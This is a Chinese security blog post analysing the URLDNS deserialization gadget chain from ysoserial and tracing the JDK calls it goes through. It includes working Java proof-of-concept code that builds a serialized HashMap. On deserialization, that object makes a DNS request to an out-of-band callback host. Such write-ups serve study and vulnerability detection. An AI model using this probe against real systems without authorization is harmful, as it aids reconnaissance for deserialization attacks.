Java URLDNS分析

admin 2024年2月29日00:50:43评论12 views字数 3084阅读10分16秒阅读模式

URLDNS 在 Java 复杂的反序列化漏洞当中比较简单简单;

URLDNS就是ysoserial工具中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。 因为它仅仅是一条url,一次dns请求,虽然这条链子不能用来利用,但是可以用来是否存在反序列化漏洞时使用,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法,所以不受jdk版本限制  

在 ysoserial 工具中,对于URLDNS是这样构造的

*   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()*           URL.hashCode()

首先是HashMap的对象, URL 是由 HashMap 的 put 方法产生的,所以我们先跟进 put 方法当中。put 方法之后又是调用了 hash 方法;hash 方法则是调用了 hashcode 这一函数。

public class SerializationTest {    public static void main(String[] args) throws MalformedURLException {        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();        hashMap.put(new URL("http://hdxjfn.dnslog.cn"),1);    }}

Java URLDNS分析

跟put方法,这里调用hash方法,

先跟一下hash方法,参数为key,如果key 是 null 就返回0 否则就返回 hashcode方法处理后的值和h右移再进行亦或  

而对于key又有一个hashcode这个函数

Java URLDNS分析


Java URLDNS分析

我们看到这个 hashCode 函数的变量名是 key 它是hash 这一方法传进的参数

hashMap.put(new URL("http://hdxjfn.dnslog.cn"),1);// 传进去两个参数,key = 前面那串网址,value = 1

Java URLDNS分析再跟进 getHostAddress

Java URLDNS分析

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。 

所以这就是URLDNS链子的原理

HashMap->readObject()

HashMap->hash()

URL->hashCode()

URLStreamHandler->hashCode()

URLStreamHandler->getHostAddress()

InetAddress->getByName()

下面开始复现

这里要注意一点,这里当hashCode的值不等于-1的时候,函数就会直接 return hashCode 而不执行 hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode 的值为 -1,便是发起了请求。所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。 因为这样就无法判断是否是 因为反序列化的 URLDNS ,还是因为序列化的过程中的 URLDNS。 

Java URLDNS分析

URLDNS 反序列化利用链的 POC

package Dnsurl;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
public static void main(String[] args) throws Exception{

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
//设置允许访问权限
hashcodefile.setAccessible(true);
//这里设置成随便一个,不是-1就行
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1;通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}

private static void serialize(Object obj) throws IOException {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
System.out.println("序列化成功!!!");
}
}

反序列化的文件无需更改  (和原生大差不差)

package Dnsurl;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
User user = (User) unserialize("ser.bin");
System.out.println(user);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File(Filename)));
Object obj = ois.readObject();
System.out.println("反序列化成功!!!");
return obj;
}
}

接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。 

Java URLDNS分析

总结如下:

反序列化过程中HashMap的Key会进行Key.HashCode()计算,如果Key传入的是URL(URL context, String spec, URLStreamHandler handler)类型(重写URLStreamHandler避免有多余的DNS请求),在计算hashCode()的时候,就会调用URLStreamHandler.hashCode()触发getHost方法对目标进行DNS解析。

参考:

https://www.freebuf.com/articles/web/327710.html

https://www.bilibili.com/video/BV16h411z7o9?p=2&vd_source=522f67219dbfa470b2b0ac889c785113



原文始发于微信公众号(PwnPigPig):Java URLDNS分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日00:50:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java URLDNS分析https://cn-sec.com/archives/2535401.html

发表评论

匿名网友 填写信息